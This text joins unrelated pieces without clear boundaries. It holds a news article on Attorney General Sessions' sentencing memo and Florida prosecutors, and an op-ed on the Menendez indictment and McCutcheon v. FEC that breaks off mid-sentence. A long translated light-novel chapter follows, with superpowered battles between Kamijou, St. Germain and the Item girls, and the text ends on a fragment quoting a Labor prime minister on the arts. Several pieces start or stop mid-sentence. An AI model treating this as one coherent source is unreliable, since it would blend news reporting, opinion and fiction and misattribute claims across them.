The federal prison system, like Florida’s state prisons, doesn’t have parole, but inmates can be released early if the president commutes their sentences. Inmates can also get their sentences reduced by up to 15 percent for good behavior.
About half of the people in federal prison are serving sentences for drug crimes, according to the Prison Policy Initative, though only about 9 percent of the country’s 2.3 million incarcerated people are in federal prison. The remainder are in state prisons and local jails.
Sessions’ memo comes just as local prosecutors and police have begun seeking shorter sentences for drug crimes, said Rob Smith, director of Harvard Law School’s Fair Punishment Project, which argues that the criminal justice system is overly punitive. "The Sessions memo reflects an approach to law enforcement that does not make communities safer or healthier. … This sort of re-ignites the war on drugs that has failed so miserably and has been a mistake for communities, and it is a mistake for taxpayers, and it will not make people safer."
The Jacksonville State Attorney’s Office said that the change in policy won’t affect how often local prosecutors refer cases to the federal office.
Tampa’s and Orlando’s newly elected state attorneys signed an open letter that called Sessions’ memo an "unnecessary and unfortunate return to past ‘tough on crime’ practices." The letter was signed by 31 current and former prosecutors.
Lucius Couloute, an analyst with the Prison Policy Initiative, said the memo will lead "to prison overcrowding and the sort of ramifications that come from that. … It’s going in the wrong direction both morally and from a policy perspective. It’s extremely costly to incarcerate so many people for such a long time."
NEW ATTORNEYs GENERAL USUALLY CHANGE POLICIES
It has become standard procedure for new attorneys general to write memos that change how federal prosecutors bring cases.
Attorneys general in the last four administrations gave new instructions to prosecutors. A 1993 memo said charges should be based on "an individual assessment," and memos in 1989 and 2003 were similar to Sessions’, in that they required prosecutors seek the most serious charges.
But more recently, former attorney general Eric Holder told prosecutors not to seek sentencing enhancements unless necessary and not to use the threat of those enhancements to get defendants to plead to crimes. That was the first time an attorney general told prosecutors what charges and what sentencing enhancements they should avoid, according to University of North Carolina law professor Carissa Hessick.
Sessions’ new memo effectively serves as a return to the 2003 memo, though perhaps not as severe because Sessions allows prosecutors to seek exceptions. He wrote he wanted prosecutors to seek maximum sentences "with the goal of achieving just and consistent results," a similar rationale to that given in the 2003 memo.
Truncale, who was a federal prosecutor under the similar 1989 and 2003 charging memos, said requiring prosecutors give up their discretion is disrespectful. "Judges should be judges. Prosecutors should be prosecutors. They should be able to use their God-given abilities to make judgments.
"I don’t see it as any more than a political decision and that’s all it is. There’s no correlation between minimum mandatory sentences and sentence enhancements … that has any effect on crime. It unfairly applies not to the kingpins, but the insignificant defendants."
MEMO’S IMPACT REMAINS TO BE SEEN
The new memo and the Middle District’s letter don’t say how plea deals will work in the future or if prosecutors will be allowed to grant leniency.
Plea deals are fundamental to the federal courts. Guilty pleas made up more than 97 percent of convictions from October 2013 through September 2014, according to a recent Bureau of Justice Statistics report.
Hessick said she still thinks individual attorneys will influence how charges are brought. "It’s fair to say the Sessions memo represents a change in policy. But it’s still too soon to say how that change in policy is going to play out."
President Donald Trump hasn’t yet named any attorney nominees for Florida’s three districts, but Sen. Marco Rubio recently changed the process for nominating attorneys. Nominees used to go through a nonpartisan judicial nominating commission. Rubio stopped that, and now Rubio and Sen. Bill Nelson will make recommendations to the president, and the president will ultimately decide.Call it senatorial serendipity. Senator Robert Menendez’s indictment yesterday, including allegations of official favors for political contributions, came down one day before the first anniversary of the Supreme Court’s decision in McCutcheon v. FEC. That case blew the lids off of overall “aggregate” contribution limits.
While Sen. Menendez is entitled to the presumption of innocence, the New Jersey Democrat's indictment paints a picture of how easy it is to appear corrupt in a system so awash in cash.
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One year ago today, five justices declared unconstitutional the longstanding, overall limit any single donor could contribute to federal campaigns in a single election cycle. (The total did not count donations to Super PACs, which can accept unlimited contributions).
McCutcheon, decided four years after Citizens United, was another disastrous step toward a politics dominated by the very rich and the very connected. With no overall contribution limit, candidates could form “joint fundraising committees” with political parties and other office-seekers, soliciting checks well into the seven-figures and split among the participants. In some cases, the money could be funneled and spent to support the candidate who solicited it.
Chief Justice John Roberts dismissed this concern as “divorced from reality,” claiming that laws already on the books prevented any quid pro quo corruption. Besides, he wrote, the ingratiation and access that campaign donors expect in return for their support of political candidates are a “central feature of democracy.”
The Menendez indictment suggests the Department of Justice has a different view. But it didn’t take long for some in Congress to get the Chief’s message.
In late 2014, during the chaotic wheeling and dealing over the $1.1 trillion so-called “Cromnibus” government spending bill, Congress voted to vastly increase the amount of money that a single donor can donate to political party committees. Reportedlyat the behest of election lawyers, drafters slipped the contribution limit increase into the must-pass bill at the last minute, without any hearing or warning.
As the nonpartisan Congressional Research Service reported in March, the new provision allows donors to contribute over $1.6 million to political parties in a single two-year election cycle. That’s a 2,000% increase from the limit at this time last year, when the maximum a single donor could give to federal political party committees was $74,600.
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With aggregate contribution limits off the books, Congress blew a hole in the soft money limits it passed over a decade earlier in McCain-Feingold. The Cromnibus stands as the single-largest increase in contribution limits ever.
But for McCutcheon, Congress couldn't have passed it. Shaun McCutcheon, the Alabama businessman who brought the case with the Republican National Committee, claimed he simply wanted to support more candidates without bumping up against the aggregate contribution limit.
Of course, Mr. McCutcheon was free to support as many candidates as he wished, although he could only vote for those in his home state. But the law |
a reason. He must only be able to use his carbon control magic based on the senses of the others synced with or parallel with him. It only seemed like there was nowhere to hide in here because there were that many St. Germains mixed in!)
He gulped and desperately told himself to calm down.
(I’m not up against an almighty Magic God here. He may look that way, but there’s a reason behind each individual action. There has to be a limit on those tunnels he opens in people’s body. If not, he would have removed my right arm or plucked out my heart right off the bat.)
And the same had to apply to his ability to synchronize with and infect people.
(I can figure this out.)
He clenched his right fist.
He still did not know what he should negate, but even so…
(They’re like walking weapons, but there has to be some kind of gear down at the bottom. If they’ve been synchronized or infected, it means these people are the city’s teachers and students. If I can remove that, they might return to normal!!)
And then…
“…”
“…”
“…”
“…”
All of the St. Germains turned their heads and faced him in unison.
“Dammit!!”
Crouched low, he hurried onward.
The second wave of spears flew mercilessly toward him.
Part 2 [ edit ]
Once the countless St. Germains chased Kamijou into a different area, the elevator hall was left empty.
However, one of the square paper lanterns set up alongside the waterway was shaking.
A fifteen centimeter girl poked her head out from inside it.
It was Othinus.
(They have surprisingly unreliable senses. Is crystalizing them as St. Germain considered enough of a success, so each individual unit hasn’t been properly polished? Has he improved his ability to control diamonds and gained the ability to control carbon as a whole? If the world has only a single chance here, this is quite the troublesome foe.)
Othinus had not chosen to hide in the lamp herself. As soon as he had set up the fire extinguisher smokescreen, Kamijou had shoved her inside the light fixture and fled.
It had almost seemed like he had chosen a more noticeable action to draw their attention.
(If that was part of his “bad habit”, this would be the time to punch him, but…)
She sighed.
She guessed Kamijou was after information on St. Germain. After all, Othinus had been a true Magic God and yet even she deemed this opponent to be “troublesome”.
St. Germain had no central unit or terminal unit. They were all synchronized and they were all parallel. The nucleus of a crystal formed around the distribution of the high-concentration solution and the materials that attached around it were completely identical.
Diamonds were hard and breaking them did not change their structure.
(But…)
Diamonds were said to be crystals made of pure carbon, but even the purest diamond was only 99.9% pure. Over twenty different types of impurities existed in that slight gap. And that less than 0.1% impurity would change the properties of the entire diamond. Everything from how hard it was to its electrical conductivity, coloration, and transparency were influenced by that. They were not the center or the nucleus, but those meaningless impurities were the controller that manipulated the entire crystal.
St. Germain had to have something similar.
He was a magician that controlled diamonds. He was a life form who could control even his own body as carbon-based organic matter. So if St. Germain was viewed as a single giant crystal created by synchronizing and parallelizing a group, he had to have something like a controller or settings file.
With that in mind, Kamijou would draw out St. Germain’s attacks on the vanguard while the analysts on the rear guard would reveal the structure and weaknesses of his spell. That was the correct way to go about this.
“But still,” muttered fifteen centimeter Othinus. “Through all of those hundreds of billions of phases, I missed the Misaka Network that manipulated the border between life and death. Does he also contain the possibility to always show up or appear anew in every world or phase I created?”
She looked to the floor and saw a few clumps of blood.
She doubted they belonged to Kamijou Touma.
(To him, using up personnel must be the same as using impurities to create gaps in the otherwise even crystalline structure. Maintaining his overall properties even when an individual is crushed would make him a first-class diamond. I’m sure he knew what would happen when he forced Academy City’s espers to use magic.)
Othinus was surprised to find that displeased her.
From an efficiency standpoint, St. Germain was right.
There was no reason to worry about their enemies in the science side’s Academy City.
All lives were not of equal value during battle.
Was it that pointy-haired boy’s influence that would not let her allow it?
“What a pain… I guess I was fundamentally broken, too.”
She shook her head and focused on analysis once more.
If she was going to search for the optimal answer…
(Come to think of it, we left the Index Librorum Prohibitorum behind. Well, if she had been here, Kamijou Touma might have chosen a different course of action.)
Her fifteen centimeter stature was not always a bad thing.
There were limits to what she could do, but St. Germain could only search for enemies by sealing off all routes that someone human-sized could pass through. At fifteen centimeters, she could take paths unavailable to others.
And that went beyond simply crawling below a vending machine and travelling through that slight gap. A cat could jump down from a height of two or three stories, but that was not just because of its body structure and athletic ability. Its light weight reduced the impact of landing, too.
“Now, my first priority is contacting the Index Librorum Prohibitorum. Whether I manage that or not, I need to figure out where Kamijou Touma and St. Germain are, observe them, and find a way to break St. Germain’s crystalline structure.”
She sounded irritated, but she had summed up what she had to do.
Those were the necessary steps to achieve victory.
She was, after all, an individual who had become known as a god of war.
Part 3 [ edit ]
Then again, Kamijou could not continue dodging the St. Germains’ attacks forever.
Their magic surrounded him with a set of one hundred spears like an inside-out hedgehog, making it a simple yet effective countermeasure to Imagine Breaker. Not to mention that dozens of people were using that same magic at once and more St. Germains were mixed into the people not currently chasing him.
His odds of survival were rapidly declining.
This would not have been easy under normal circumstances, but this added further irregularities into the mix.
“Dammit!!”
There were only so many ways he could block their sight. Also, this was only the preliminary encounter. The true battle began once Index or Othinus analyzed St. Germain and found a weakness.
All he could do was run around corner after corner, trying to escape from the St. Germains’ sight.
And he was so focused on the enemies behind him that he ran right into someone else turning the corner ahead.
“Wah!?”
“This way!”
The person pulled on his hand and dragged him behind the reception counter to what seemed to be a gym.
He could hear several sets of footsteps passing by the corridor beyond the counter.
The other person was practically embracing him, but once he pulled himself free and checked who it was, he found he recognized them.
“What? You’re that Aihana guy, right?”
“W-well, I suppose. You wouldn’t be wrong to call me Aihana Etsu.”
It was the boy with semi-long brown hair.
Kamijou gently sighed.
“Well, you saved me regardless. Listen, I’m heading back out when the time is right, but you stay here. If you are going to leave, wait a bit and go in the opposite direction. You haven’t been spotted yet, but if you are, they’ll fill you with holes. I’m not sure I can cover for you.”
“No,” cut in Aihana Etsu.
When he shook his head, a sweet aroma was shaken from his hair.
“I don’t know who they are, but I doubt it’s anything that simple. They knew we were here, but they overlooked us because they don’t want to get me caught up in this.”
“What?”
“For some reason, this St. Germain guy is obsessed with me. He seems to have given me alone the ability to use the sealed elevators and doors. That’s how I got to the mid level. I figured out these St. Germain people were after you from the behind-the-scenes videos,” he explained. “They’re all dressed the same, so maybe they all think the same. That means having you head out isn’t the best plan here. I should go right into the middle of them. If I’m in the center of things, they’ll have a harder time fighting.”
That thought shocked Kamijou, but when he reflexively tried to argue, Aihana Etsu placed his index finger on his lips.
The sensation of the boy’s slender finger silenced him.
“Whatever his goal is, St. Germain won’t kill me right away. He’ll want to talk. That’s our chance. If I can loosen his lips and get some information out of him, we might find a way out of this. That would obviously be better than sitting around waiting to be killed and it’s something only I can do.”
The boy’s words were logical, but his face was deathly pale.
His shoulders were trembling and they looked so skinny they would break if someone grabbed them too roughly.
He had to be scared.
It was not clear what St. Germain wanted and he could change his mind at any time. The odds were good he would bare his fangs the instant it was revealed Aihana Etsu was hiding something. And if that happened, there was no escape.
If their positions had been reversed and Kamijou was asked to play that role, he honestly doubted he could have done it.
And if St. Germain had noticed what they were doing, Aihana Etsu’s suggestion was not even an undercover mission. St. Germain would already know he was letting Kamijou escape, so it would be more like taking or exchanging hostages.
“If…”
Aihana Etsu spoke while looking up at Kamijou. He grabbed Kamijou’s coat at the chest and his self-made fear brought tears to the corners of his eyes.
Nevertheless…
“If I don’t make it back, can you do one thing for me? A girl named Frenda Seivelun has an apartment in the upper level of the Dianoid. There might be something there to tell me what happened to my missing friend. If I have that, I might find a clue to saving her. St. Germain said something ominous about the ‘last vestiges’ of her, but I don’t know if that’s true. If I can’t do it, please find it for me. If I know someone will, then I can go do this now.”
“Hey, stop. I don’t even know what kind of person you are. If you’re carrying something you can’t back down on, then that’s all the more reason why you can’t do something like this for me!”
“Don’t worry,” said Aihana Etsu.
He looked Kamijou right in the eye from close range.
And he spoke as if to convince himself.
He seemed to be forcibly overwriting the fear that was overflowing from his true self.
He looked to the person who would believe this was who he was.
“I’m Aihana Etsu.”
There was no time to stop him.
Aihana Etsu removed his hands from Kamijou Touma, ran out from behind the gym counter, and made his way out of the shop. He rushed out into the open where countless St. Germains lay in wait.
There was no point in running out after him.
In fact, beginning a sudden battle increased the risk of Aihana Etsu being hit by a stray attack.
Kamijou understood that.
He did, but…
“…!!”
He clenched his teeth, clenched his fist until it oozed blood, and yet had nothing he could do here.
He would not waste this opportunity.
Ensuring that was his only option here.
Part 4 [ edit ]
Once he moved out into the open, Aihana Etsu’s range of options narrowed significantly.
First of all, the countless St. Germains all focused on him. They may have already noticed him long ago, but things changed once they stopped acting and let each other know that they were aware of each other.
At this point, any attempt to run or hide increased the risk of his actions being viewed as hostile. And if he strayed out of line with only the name “Aihana Etsu” on his side, he had no way to avoid being skewered.
Then again…
(The situation isn’t going to improve if I don’t do anything.)
His fear transformed into lightheadedness as he desperately tried to think.
(I don’t know why St. Germain is letting me go. He’s freely attacking all the other people trapped in the Dianoid and I can’t imagine why he would be treating me differently. I can’t just do what he says. I have to get off of the rails he’s set up for me!! If I don’t, I won’t be able to do what I came here to do!!)
Even if he was risking his life or sacrificing himself, he was still leaving the most important part to someone else.
He ignored the situation and had to suppress a smile at just how typical of him this was.
Kamijou Touma was a name he had heard while crying as he was punched and kicked in the back alleys. At the time, he had had nothing and had been feeling his way through the darkness and wandering around as if wearing a blindfold.
He had no connection to that person.
His only interaction with the boy was being given a bottle of water when the boy mistakenly thought he had heatstroke. It was far too cheap to leave his life with someone like that. He had done so anyway because even that tiny connection was more than he had with anyone else in the Dianoid.
He had received a bottle of water from St. Germain as well.
However, there was a slight difference between a monster attempting to curry his favor and Kamijou Touma who had wanted nothing in return.
His only choice was to bet on that.
This was just as supremely foolish as someone betting their lifesavings on their lucky color.
He knew that, but he still clung to that spider web.
And now a great number of tailcoats waited for him.
“Hi, hi! Should I still be calling you Aihana Etsu? I’m a little busy at the moment, but I can free up some time for you. How are things going with the Frenda Seivelun thing?”
“…”
Unlike before, it was not just a man. Age and gender did not matter. When alone, their costumes made them stand out, but when a group of them gathered, Aihana Etsu was the one who felt out of place.
“Didn’t I tell you to hurry if you wanted to know the truth? It’s interesting how it’s possible to actually be too kind, isn’t it? Or should I have escorted you to the upper level apartments?”
Aihana Etsu placed a hand on the center of his chest.
He switched to a new train of thought and focused on the thin student ID card.
He looked up with a challenge in his eyes.
“My problem can wait until later. More importantly, what about you?”
“Hm?”
“For how confident you sound, it doesn’t seem like things are going all that well. Are you sure you can manage?”
A rusty smell wafted in from the surrounding group.
Some of them had bandages wrapped around themselves, but had they really been hit by their opponents?
“Oh, nothing to worry about. From now on, I will be more careful in my selection. You use diamond to cut diamond, but it seems I used them a little too roughly. I probably should have only used the teachers.”
“…?”
Aihana Etsu had never heard of the side-effects of using magic and St. Germain provided no explanation.
“You did not waste your precious chance to approach Frenda Seivelun just to talk about this, did you?”
“Don’t worry. If you take out everyone in my way, I can take my time searching for that girl’s secret.”
“Ha ha! I suppose so. But ‘kind’ certainly is an apt description for you. For me, this is like having my reward paid in full up front.”
One of the St. Germains reached out an arm and suggested they find somewhere to talk.
Next, they all extended an arm like the wind blowing through a wheat field.
At the same time, Aihana Etsu recalled the words of his friend.
“In the end, you need to be careful when someone treats you like an old friend the first time you see them. The ones who can fake the expression aren’t too bad and the ones who only trick you with words are even better, but the ones who fake their own emotions are the truly dangerous ones. Those are the ones who have taken a step outside of what can be described in terms of good and evil.”
That friend’s cellphone had included the addresses of easily over one thousand people. She certainly knew more about people than he did.
“Nee hee hee. Not that I’m one to talk with how much I let others influence me.”
“…”
He let the St. Germains guide him through a dance hall of swirling death and violence.
He was led to an elevator that took him to the rooftop Japanese garden where he had spoken with St. Germain before.
A single St. Germain waited for him in the moonlight.
This one was far older than him. She appeared to be in college or a new teacher. The adult woman had white skin, blue eyes, and wavy blond hair that reached her waist.
There were many different types of tailcoats, but this woman’s one resembled the stage outfit of a woman illusionist. It was something like a jacket and bunny suit combination.
She wore a monocle that resembled a butterfly wing and her face looked somehow familiar.
She almost looked like Aihana Etsu’s friend if she had grown into a beautiful woman.
“The carbon making up any diamond is nothing but carbon, but the impurities making up less than 0.1% create countless varieties of colored diamonds. What splits people’s personal preferences on diamonds are those miniscule imperfections. I thought you might grow to like me if I shined like this and I hoped that would help our conversation run more smoothly.”
The blonde St. Germain laughed casually.
That woman had to have had her own life, personality, respect, and happiness.
But just knowing this was unreasonable was not enough to break free of it.
This was not a situation in which the mask of “Aihana Etsu” was enough.
“Now, now, now. Where to begin? My mind is filled with things I would like to say, but where should I begin to confuse you the least? Oh, it has been so long. It has been far too long since I came across such a delightful proposition.”
“I want you to promise me just one thing first.”
“No need to limit yourself to just one. Make as many requests as you like.”
“You already know I didn’t approach you because I’m your friend, right?”
“Oh, you mean the person you desperately tried to let escape?”
“Hiding it won’t do any good. I’m here now, so don’t lay a finger on that boy. If you don’t promise me that, I refuse to speak with you.”
“Very well.”
The blonde St. Germain readily agreed while sliding open a rectangular pill case she had pulled out at some point and dropping a black pill onto her soft palm.
“I would really rather not promise that, but for you I will do it. And why stop with him? As long as you keep speaking with me, I will promise not to do any harm to anyone inside the Dianoid.”
When he heard that, Aihana Etsu carelessly bared his true face before this obvious enemy.
He gave a sigh of relief.
A heated breath flowed white into the night wind.
St. Germain smiled quietly as she watched that expression that could only be described as inexperienced.
Yes.
St. Germain was interested only in a single truth.
With anything else, she was willing to tell billions of lies with a smile on her lips.
Part 5 [ edit ]
He heard a tremendous explosion and felt the building shake, but that was not the most ominous thing Hamazura sensed while searching the Dianoid’s mid level in the Power Lifter. More than his sight and hearing, it was his sense of smell that got to him.
It smelled like fireworks and there was a hint of rust thrown in.
Aneri’s analysis said it was a nitrogen oxide reaction which pointed to a certain possibility.
(Don’t tell me there’s a bomb.)
The word naturally came to mind, but his brain did everything it could to reject the idea.
That could not be.
It just could not.
Then what was that strange smell? Where had the person named St. Germain gone after trapping so many people in the Dianoid? What had he done to Item who could possibly open up an elevator shaft or emergency staircase with the #4’s Meltdowner? How did all that lead to the same scent he had sensed on the burning snowy plains of Russia?
“Pant, pant.”
Despite using the Power Lifter, he was even more out of breath than when using his own two legs.
He could tell an unusual amount of sweat was flowing from his brow.
Aneri sent out a mental warning and suggested playing a video pattern file with a calming effect, but he did not have time to bother with any of that.
“What the hell is going on? Goddammit!!”
The closer he got to the scene, the more difficult it was to keep going. The reason for this was obvious: boys and girls were rushing toward him while screaming in terror or anger. They were not focused on him. They were simply trying to escape the scene of the blast as quickly as possible.
His desire to know what happened naturally sent him in the opposite direction, but he could not exactly use the Power Lifter’s strength to knock them out of the way.
His slowed pace and the sensation that the dangerous truth was slipping from his fingers was enough to wear on his nerves.
What had happened to the girls who had been waiting for him in the Dianoid?
Where was Mugino Shizuri? Where was Kinuhata Saiai?
And where was Takitsubo Rikou?
He just about cried out, but then he spotted something strange: he was not the only one working against the sudden crowd of people.
Far away, a boy’s eyes opened wide as if he had run into an invisible wall.
It was Kamijou Touma.
(Him?)
The boy looked at the confused crowd of people once more and then turned around.
A moment later, a flesh-colored hell opened up.
First, an undulation ran through the floor and walls.
Next, a large group of spears flew toward Kamijou Touma.
Finally, fist-sized tunnels opened in the bodies and faces of the boys and girls and the spears passed through them.
“A-…”
It was an inescapably evil scene.
No matter what the reason, he could not understand how a vision like that could be allowed.
“Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!?”
Like an inside-out hedgehog, one hundred spears all rushed toward Kamijou Touma.
Without watching it through to the end, Hamazura Shiage took action while still screaming.
Aneri picked up on his intention and swiftly provided assistance.
The Power Lifter’s giant steel arm opened like an alligator mouth and grabbed several of the infinitely extending spears. He used all of his strength to crush them.
This created a spear-less gap in one direction of the spherical attack.
Kamijou ran in that direction to put some distance between himself and the other spears.
The countless spear tips came together like a complex iron maiden.
“Get out of here!!” shouted Hamazura. “Hurry!!”
This was no time to worry about regulations.
He grabbed the two joysticks and used the mechanical legs for a mighty leap. By landing on or grabbing pillars or objects sticking out from the wall, he passed over the crowd (that was riddled with tunnels) and landed next to the struggling Kamijou Touma.
That had not been Hamazura’s own skill.
Those acrobatics were thanks to the calculations performed by Aneri.
Sparks flew as the legs scraped across the carbon floor.
“I thought I’d settled things with you!!”
“You did! But do you really think they’re going to listen to what we have to say!?”
Kamijou pointed his thumb backwards.
Hamazura looked back and his eyes opened wide.
He saw a man in a tailcoat.
And the man was not alone. There were five or ten of them walking their way.
Just like a diamond, even heat seemed to spread between them in an instant, so they burned with a mad passion.
“You’re kidding!! You have got to be kidding!! And when I have so many other things to deal with!”
“It’s all over if you die! You’ve gotten caught up in this, so you should probably run away for now!”
“I still don’t know if my girlfriend’s safe!! It would tear my heart to pieces if I left her alone now!!”
“Damn. I see.”
Kamijou briefly squeezed his eyes shut and seemed to shake something off.
He turned around and faced the St. Germains before speaking.
“Then we’ll share the burden. You go do what you have to do and I’ll hold them off.”
“How!?”
“I’ll figure it out! You said you’d settled things with me, remember? Then it’s only natural for you to get the best spot!! So go!!”
It was Hamazura’s turn to rub his brow and shake his head.
It would be easy to abandon this boy.
If he ordered everything according to priority, there was no way this boy’s life would rank higher than Takitsubo.
But would Takitsubo and the others accept him if he made that choice?
Had he fallen in love with someone like that?
“…Dammit.”
He spat out the curse from the very bottom of his heart.
The Power Lifter’s giant arms then grabbed the pointy-haired boy by the back of the neck.
“Ah! Wait! What are you-…!?”
There was no time to explain.
Still holding Kamijou, he had the Power Lifter’s leg bite into a thick pillar. The machine bounced around like a pinball. He would occasionally use the walls or even the ceiling as footing, occasionally grab objects on the wall, and crossed the entire floor by irregularly jumping around without ever touching the ground.
“…”
“…”
“…”
“…”
The countless St. Germains turned his way.
A moment later, countless spears extended from the floor and flew toward the Power Lifter like a group of surface-to-air missiles.
“Aneri, ballistic prediction!! And you can switch off the inertial Gs limiter!!”
He made his way to an area not yet infected by St. Germain.
He leaped to a theatre, jumped straight up, and tried to use the second or third story seats to reach another floor.
However, St. Germain was faster.
A few sets of eyes looked up at him from the bottom seats. The seats and walls twisted into countless spears and approached as another solid surface.
The open space of the theatre was working against him.
The Power Lifter was nimble, but it could not bounce around like a pinball without anything to use as footing. His movements grew simpler while in midair.
The enemy could perfectly aim for him and skewer him.
But just before that happened, a great roar filled the air.
Another machine came from the theatre’s third story seats. Like a shooting star, the other Power Lifter performed a flying kick and forcibly broke the approaching spears.
Even if it was not a military weapon, the Power Lifter was not the kind of heavy machinery that had spread to the general public quite yet.
There were only two of them in the Dianoid, so there could only be one person operating this other one.
(Stephanie.)
“Teacher!?”
He cried out without thinking, but his grasp of the situation could not keep up with the passage of time. After breaking the pursuing spears, Stephanie’s Power Lifter swung its arms and legs in midair to balance itself and fell to where the countless St. Germains waited.
Hamazura did not know if Mugino, Kinuhata, or Takitsubo were safe.
And now Stephanie had jumped into danger.
“Kh.”
His steel hand grabbed the railing to the third story seats and he climbed up while taking a breath. After that, a groan escaped his mouth.
It quickly grew into a scream.
“Aaaaaaaaaaaaaaaaaaaaaaaaaaaaahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!!”
Part 6 [ edit ]
In that moment, Stephanie Gorgeouspalace had to have had a few different options.
She had spotted Hamazura Shiage on one of the flat-screen monitors.
He had run across…no, was running away from “something” using strange technology to skewer people.
As he flew through the air, countless spears had pursued him from behind.
She should have abandoned him.
She should have feigned ignorance and focused on her own safety.
But for some reason, she had suddenly remembered something.
She remembered a time before turning on Academy City because of Sunazara Chimitsu, her teacher as a soldier, and before leaving to see the world as a mercenary. It was a time when she was still in Academy City.
Back then, she had been a teacher.
She had been an Anti-Skill member who protected children’s lives.
So…
(I don’t really have much choice, do I?)
Sparks flew and she tore into the floor as she landed before the enemy and smiled a bit.
(I’m the adult here! You fall into the category of children, too!!)
The violence reached her immediately afterwards.
All at once, hundreds of spears rushed in. She swung her steel arms about, but that was nowhere near enough for this. Her flying kick had broken them, so they were likely not much of a threat when hit anywhere except for the very tip. However, they provided a fearsome impact if the tip scored a direct hit.
(If only…)
She gave up on clearing them all away.
She tried to protect herself with the metal arms, but the countless spears smashed, tore, and broke the Power Lifter to pieces.
(If only I could have gotten that information to someone else.)
The steel-smashing fangs would reach her soft flesh in just a few seconds more, but Hamazura Shiage would be able to escape in that time.
That was enough for her to remember the slight smile on her sweat-covered face.
However…
A brilliant beam of light shot in from the side and overturned the assumption of her death.
Every last spear was instantly vaporized.
A swirl of scorching heat melted the door leading to the theatre’s first story seats as well as the surrounding wall.
A crackling charge filled the air.
Time seemed to stop and extreme violence ruled the scene.
“Hi there.”
The owner of that violence stepped into the theatre.
It was Mugino Shizuri.
She was Meltdowner, Academy City’s #4 Level 5.
Her beautiful feminine bodyline was surrounded by countless spherical swirls of electrons that heated her surroundings to the limit.
“If you’re after that desperate bomber man, he’s over there. Make sure to clean up after him. He’s causing everyone trouble with the absolute mess he made of the place.”
The St. Germains all turned toward Mugino.
Their deadly sights were trained on her, but the #4 showed no sign of caring.
Not only that, but a girl in a knit dress and a girl in a pink track suit spoke up from behind her.
“Umm, just to be super sure you’re aware, these guys are a little strange for being our enemies. If you mercilessly genocide them, it might lead to some annoying attempts at revenge later. Being the target of some hackneyed sob story is the most dangerous part of working for the dark side.”
“Shut the hell up. It’s their fault for being controlled.”
“And Mugino,” added the track suit girl. “Can I make one request?”
“?”
“There’s an atrium there, right? Fire a shot straight up into it.”
“Oh?”
Mugino sounded like she barely cared, but she still raised a palm and released a deadly beam of light up into the atrium.
“Now, time to get down to business.”
“Were you even listening!? If you super genocide what are technically innocent people, we’ll end up chased around by some righteous heroes or something!”
“Then let’s see who can take out more of them. If you can safely knock them all out with your Offense Armor, I won’t have to use my Meltdowner at all.”
“No fair! You’re just making it super easy for yourself!”
The St. Germains did not wait for the girls to finish yelling at each other.
They launched countless spears at the two of them as a surprise attack.
Mugino did not even have time to release Meltdowner.
However…
“Are you serious?”
She sounded exasperated.
First, she lightly swung her head.
Next, her perfectly normal slender arm easily grabbed a spear thrust toward her face.
No.
No, it was actually…
“I told you your bomber man failed, didn’t I? Kinuhata and I tore the bombs from him and threw them away. Thanks to that, no one died and you didn’t get what you wanted.”
With a dull crunch, she mercilessly crushed the carbon spear in her grasp. The smooth motion was accompanied by a quiet mechanical whirring.
It was a prosthetic hand.
During Mugino Shizuri’s many battles, she had traded an eye, an arm, and all her skin for artificial replacements.
Rather than viewing it negatively, she had modified her own body to match her belligerent tendencies.
“Don’t just assume a Level 5 is nothing but her power. I’ll kill you.”
With those words, the monsters named Mugino Shizuri and Kinuhata Saiai mercilessly charged into the group of St. Germains.
Part 7 [ edit ]
Among the third story seats, Kamijou cried out when he saw the thick beam of light pierce vertically through the Dianoid.
Aneri gave a high heat warning.
“Wah!? Wh-what!?”
On the other hand, all of the tension bled away from Hamazura.
That was the signal.
It was an extremely unreasonable announcement saying that all of the danger would be swept away by brute force.
“Ha ha. That’s right. They aren’t the type to die so easily.”
“What do you mean?”
Hamazura heard something like a hiccough come from himself.
At the same time, some slight tears welled up in his eyes.
He both cried and smiled.
“Just talking to myself! It means they didn’t need reinforcements. Of course they didn’t. Why in the hell did a Level 0 think he needed to help two Level 4s and a Level 5? Ha ha ha ha ha!!”
“???”
Kamijou was utterly confused, but Hamazura had apparently settled something in his heart.
He now had the leeway to focus on Kamijou instead of his own issues.
He left the third story seats and found a corridor untouched by St. Germain’s “infection”.
“What are you going to do now?”
“I want to rescue the kid named Aihana Etsu. He ran right into the St. Germains – those people in tailcoats – to let me escape. Now it’s my turn to return the favor.”
“Aihana?”
Hamazura frowned and pictured the child of indeterminate gender who had been sneaking around the Dianoid’s parking lot.
“Is he the real deal? Are you sure he isn’t a fake just using the name?”
“It doesn’t matter. He risked himself to save my life, so he’s a true hero either way.”
Kamijou continued speaking.
“And I’m curious about St. Germain’s actions. He’s apparently obsessed with Aihana, but doesn’t that seem inconsistent with the other things he’s been doing?”
“What? Can you dumb it down a little?”
“If all he wants to do is contact Aihana, he wouldn’t need to try to kill us. In fact, he wouldn’t need to seal all the Dianoid’s exits or even do it today. He could have just waited in a dark alleyway and abducted Aihana.”
“Now that you mention it…”
“He didn’t take all these unrelated hostages just to speak with Aihana. But that raises some fundamental questions. Is St. Germain even interested in Aihana Etsu? Is that really his final objective?”
“Still, he’s using some of his resources to help Aihana. That would mean…”
“He might be using Aihana for some other goal. Or he’s pushing Aihana to do something for him.”
Kamijou chose his words carefully.
“That makes me curious about the last thing Aihana said. He said something’s hidden in the Dianoid that might help him save a missing friend of his. If he can’t, he wanted me to search for Frenda Seivelun’s secret in his place.”
“Frenda?” asked Hamazura without thinking.
Aneri automatically began a search for the name, but they either had no signal or the records on the dark side were sealed off because the window froze up.
However, the correct answer was in his head.
The girl’s fate flashed through the back of his mind. Her torso had been torn apart in a frenzy and her upper body had been dragged around while spilling its organs like a torn stuffed animal.
There was no saving that life.
“Did you just say Frenda!?”
“Yeah. Do you know her?”
“Well, yes…”
Her fate was not an easy thing to explain, but Kamijou |
a minute. Don’t worry, I’m not going to imitate him. No-one could.
“He said of his government: ‘In any civilised community the arts and associated amenities must occupy a central place. Their enjoyment should not be seen as remote from everyday life. Of all the objectives of my government, none had a higher priority than the encouragement of the arts; the preservation and enrichment of our cultural and intellectual heritage. Indeed, I would argue that all other objectives of a Labor government — social reform, justice and equity in the provision of welfare services and educational opportunities — have as their goal the creation of a society in which the arts and the appreciation of spiritual and intellectual values can flourish.
